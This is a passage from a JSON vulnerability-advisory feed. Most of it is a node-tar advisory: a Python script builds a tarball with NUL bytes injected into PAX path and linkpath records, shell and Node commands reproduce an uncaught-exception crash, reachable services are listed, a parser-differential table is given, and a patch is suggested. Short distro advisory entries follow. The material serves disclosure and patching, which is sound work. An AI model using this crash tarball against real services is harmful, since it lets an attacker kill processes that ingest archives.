Concept\n\n### Artifacts\n- `poc-null-byte-crash.tar` — 3072 bytes — PAX `path=visible.txt\\x00hidden.txt`\n- `poc-null-linkpath-crash.tar` — 2560 bytes — PAX `linkpath=target\\x00garbage` (symlink target sink)\n- `poc1-pax-prefix.py` — minimal PAX-header builder (Python 3, no deps)\n\n### Tarball generator (minimal repro — Python 3)\n\n```python\n#!/usr/bin/env python3\n\"\"\"Minimal PAX-NUL-injection tarball generator for node-tar PoC.\"\"\"\nimport os\n\ndef cksum(b):\n    s = 0\n    for i, x in enumerate(b):\n        s += 0x20 if 148 \u003c= i \u003c 156 else x\n    return s\n\ndef pad512(buf):\n    rem = len(buf) % 512\n    return buf + b'\\0' * (512 - rem) if rem else buf\n\ndef hdr(name, size, typeflag, prefix=b'', linkpath=b''):\n    b = bytearray(512)\n    b[0:len(name[:100])] = name[:100]\n    b[100:108] = b'0000644\\0'\n    b[108:116] = b'0001000\\0'\n    b[116:124] = b'0001000\\0'\n    b[124:136] = ('%011o ' % size).encode()\n    b[136:148] = ('%011o ' % 0).encode()\n    b[148:156] = b'        '\n    b[156:157] = typeflag\n    b[157:157+len(linkpath[:100])] = linkpath[:100]\n    b[257:265] = b'ustar\\x0000'\n    b[265:270] = b'root\\0'\n    b[297:302] = b'root\\0'\n    b[329:337] = b'0000000\\0'\n    b[337:345] = b'0000000\\0'\n    b[345:345+len(prefix[:155])] = prefix[:155]\n    s = cksum(b)\n    b[148:156] = ('%06o\\0 ' % s).encode()\n    return bytes(b)\n\ndef pax(records):\n    body = b''\n    for k, v in records:\n        kv = b' ' + k + b'=' + v + b'\\n'\n        for digits in range(1, 8):\n            total = digits + len(kv)\n            if len(str(total)) == digits:\n                break\n        body += str(total).encode() + kv\n    return pad512(hdr(b'PaxHeader/poc', len(body), b'x') + body)\n\nout  = pax([(b'path', b'visible.txt\\x00hidden.txt')])  # NUL in PAX path\nout += hdr(b'placeholder', 1, b'0')\nout += pad512(b'A')\nout += b'\\0' * 1024  # end-of-archive\n\nopen('poc.tar', 'wb').write(out)\n```\n\n### Reproduction\n\n```bash\n# 1. Generate tarball\npython3 poc1-pax-prefix.py          # writes poc.tar (3 KB)\n\n# 2. Install vulnerable version\nmkdir repro \u0026\u0026 cd repro\nnpm init -y \u0026\u0026 npm install tar@7.5.16\n\n# 3. Try to extract with documented try/catch — observe uncaught exception\nmkdir -p ./out\nnode --input-type=module -e '\n  process.on(\"uncaughtException\", e =\u003e {\n    console.log(\"UNCAUGHT:\", e.code, \"-\", e.message);\n    process.exit(99);\n  });\n  import(\"tar\").then(async tar =\u003e {\n    try {\n      await tar.x({ file: \"../poc.tar\", cwd: \"./out\" });\n      console.log(\"NORMAL_RETURN\");\n    } catch (e) {\n      console.log(\"CAUGHT_BY_USER:\", e.code);\n    }\n  });'\n```\n\n### Observed output (verified 2026-06-23 against `tar@7.5.16`)\n\n```\nUNCAUGHT: ERR_INVALID_ARG_VALUE - The argument 'path' must be a string,\nUint8Array, or URL without null bytes.\nReceived '/.../out/visible.txt\\x00hidden.txt'\nexit: 99\n```\n\nThe exception bypasses the user's `try { await tar.x(...) } catch (e) { ... }` block and lands in the global `uncaughtException` handler. In a typical server without that handler, the process exits.\n\n---\n\n## Impact\n\n### Direct: remote DoS\n\nAny service that ingests attacker-supplied tarballs via node-tar inherits a one-tarball-kills-the-process primitive. Realistic deployments where this is reachable without user interaction:\n\n- npm registry tarball ingestion and downstream mirrors\n- GitHub Actions cache restore (`actions/cache`, `actions/setup-*` extracting toolchains)\n- Container image build pipelines that unpack layer tarballs through node tooling\n- Backup-restore services accepting user uploads\n- CI artifact processors and badge generators\n- Static-site / Docusaurus / Next.js build runners that fetch and extract dep tarballs\n- Cloud functions that auto-extract uploaded archives\n\nA correctly-coded consumer that does:\n\n```js\ntry {\n  await tar.x({ file: req.upload.path, cwd: tmpdir });\n} catch (e) {\n  return res.status(400).json({ error: 'bad archive' });\n}\n```\n\ndoes not catch this throw. The Node process dies and (depending on the supervisor) the worker may take time to respawn or never respawn if it dies during boot.\n\n### Secondary: parser-differential validator bypass (CWE-436)\n\n| Tool                       | Result for `path=visible.txt\\x00hidden.txt` |\n|----------------------------|----------------------------------------------|\n| GNU tar (`tar -tvf`)       | Lists `visible.txt` (truncated at NUL)      |\n| `bsdtar -tvf`              | Lists `visible.txt` (truncated at NUL)      |\n| Python `tarfile.list()`    | Lists `visible.txt\\x00hidden.txt` (raw)     |\n| node-tar `tar.t({file})`   | Emits raw NUL-bearing path (no crash)       |\n| node-tar `tar.x({file})`   | **Crashes** (uncaught throw)                |\n\nA pre-flight validator using GNU tar or bsdtar will see a benign filename; the subsequent node-tar extraction blows up. This is exploitable against any architecture that lists-and-validates-then-extracts.\n\n---\n\n## Suggested patch\n\nMatch the long-name handler in `parse.ts` — strip everything from the first NUL onward in `parseKVLine` value parsing:\n\n```diff\n--- a/src/pax.ts\n+++ b/src/pax.ts\n@@ -173,7 +173,7 @@ const parseKVLine = (set: Record\u003cstring, unknown\u003e, line: string) =\u003e {\n\n   const k = r.replace(/^SCHILY\\.(dev|ino|nlink)/, '$1')\n\n-  const v = kv.join('=')\n+  const v = kv.join('=').replace(/\\0.*$/, '')\n   set[k] =\n     /^([A-Z]+\\.)?([mac]|birth|creation)time$/.test(k) ?\n       new Date(Number(v) * 1000)\n```\n\nThis matches `src/parse.ts:379` and `src/parse.ts:386` and closes both `path` and `linkpath` sinks in one change.\n\nA defense-in-depth follow-up: add an explicit `assert(!v.includes('\\0'))` (or fail-soft `return set`) at the top of `parseKVLine` so malformed PAX records that *aren't* path/linkpath also can't smuggle NUL into other unanticipated consumers (e.g. third-party readers of `entry.header.atime` Date objects constructed from `Number(v)` where `v` had embedded NUL).","status":"published","published":"2026-07-20T21:51:12Z","modified":"2026-09-10T03:50:52.205344551Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium"}],"cwes":["CWE-248"],"updated_at":"2026-11-02T15:46:48.191583Z"},{"id":"UBUNTU-CVE-2026-59875","description":"node-tar is a tar archive manipulation library for Node.js. Prior to 7.5.17, node-tar does not strip NUL bytes from PAX path and linkpath records in src/pax.ts, allowing a crafted archive with values to reach fs.lstat or fs.open and terminate the process with an uncaught exception. This issue is fixed in version 7.5.17.","status":"published","published":"2026-07-08T16:16:00Z","modified":"2026-10-17T12:56:00.581915864Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium"}],"updated_at":"2026-11-02T16:56:41.911783Z"},{"id":"CLSA-2026-1780620684","title":"TuxCare security update for acorn (1 CVE)","description":"TuxCare rebuilt acorn to address 1 CVE. Fixed in 6.0.4-tuxcare.1.","status":"published","published":"2026-08-04T14:52:35Z","modified":"2026-10-30T19:45:55.719094904Z","updated_at":"2026-11-02T15:43:45.445699Z"},{"id":"CLSA-2026-1780620685","title":"TuxCare security update for acorn (1 CVE)","description":"TuxCare rebuilt acorn to address 1 CVE. Fixed in 6.2.0-tuxcare.1.","status":"published","published":"2026-08-04T14:52:35Z","modified":"2026-10-30T19:45:54.384369162Z","updated_at":"2026-11-02T15:43:45.445699Z"},{"id":"CLSA-2026-1784596283","title":"TuxCare security update for tar (4 CVEs)","description":"TuxCare rebuilt tar to address 4 CVEs. Fixed in 6.2.1-tuxcare.4.","status":"published","published":"2026-08-04T14:52:45Z","modified":"2026-10-15T09:47:52.713551156Z","updated_at":"2026-11-02T15:43:46.482572Z"},{"id":"CLSA-2026-1787823889","title":"TuxCare security update for tar (6 CVEs)","description":"TuxCare rebuilt tar to address 6 CVEs. Fixed in 6.2.0-tuxcare.1.","status":"withdrawn","published":"2026-08-27T09:44:49Z","modified":"2026-10-26T13:21:31Z","updated_at":"2026-11-02T15:43:47.591214Z"},{"id":"CLSA-2026-1792074268","title":"TuxCare security update for tar (8 CVEs)","description":"TuxCare rebuilt tar to address 8 CVEs. Fixed in 6.2.0-tuxcare.5.","status":"published","published":"2026-10-15T14:24:28Z","modified":"2026-10-16T19:13:10.687653114Z","updated_at":"2026-11-02T15:43:50.949147Z"},{"id":"CLSA-2026-1792074305","title":"TuxCare security update for tar (12 CVEs)","description":"TuxCare rebuilt tar to address 12 CVEs. Fixed in 6.0.2-tuxcare.6.","status":"published","published":"2026-10-15T14:25:05Z","modified":"2026-10-15T19:00:02.575217399Z","updated_at":"2026-11-02T15:43:50.949147Z"},{"id":"CLSA-2026-1793101936","title":"TuxCare security update for tar (6 CVEs)","description":"TuxCare rebuilt tar to address 6 CVEs. Fixed in 6.1.0-tuxcare.3.","status":"published","published":"2026-10-27T11:52:16Z","modified":"2026-10-27T13:30:14.525678692Z","updated_at":"2026-11-02T15:43:55.34846Z"},{"id":"CLSA-2026-1793102032","title":"TuxCare security update for tar (5 CVEs)","description":"TuxCare rebuilt tar to address 5 CVEs. Fixed in 6.1.6-tuxcare.2.","status":"published","published":"2026-10-27T11:53:52Z","modified":"2026-10-27T13:30:14.828323058Z","updated_at":"2026-11-02T15:43:55.34846Z"},{"id":"CLSA-2026-1793307830","title":"TuxCare security update for tar (11 CVEs)","description":"TuxCare rebuilt tar to address 11 CVEs. Fixed in 4.4.19-tuxcare.5.","status":"published","published":"2026-10-29T22:03:51Z","modified":"2026-10-30T02:15:07.69312809Z","updated_at":"2026-11-02T15:43:55.669514Z"},{"id":"ROOT-APP-NPM-CVE-2026-59875","title":"CVE-2026-59875 in tar - Patched by Root","description":"Root has patched CVE-2026-59875 in the tar package for Root:npm. Multiple fixed versions available.","status":"published","published":"2026-09-08T15:43:49Z","modified":"2026-09-08T16:15:02.769956514Z","updated_at":"2026-11-02T15:53:27.649662Z"}]}}
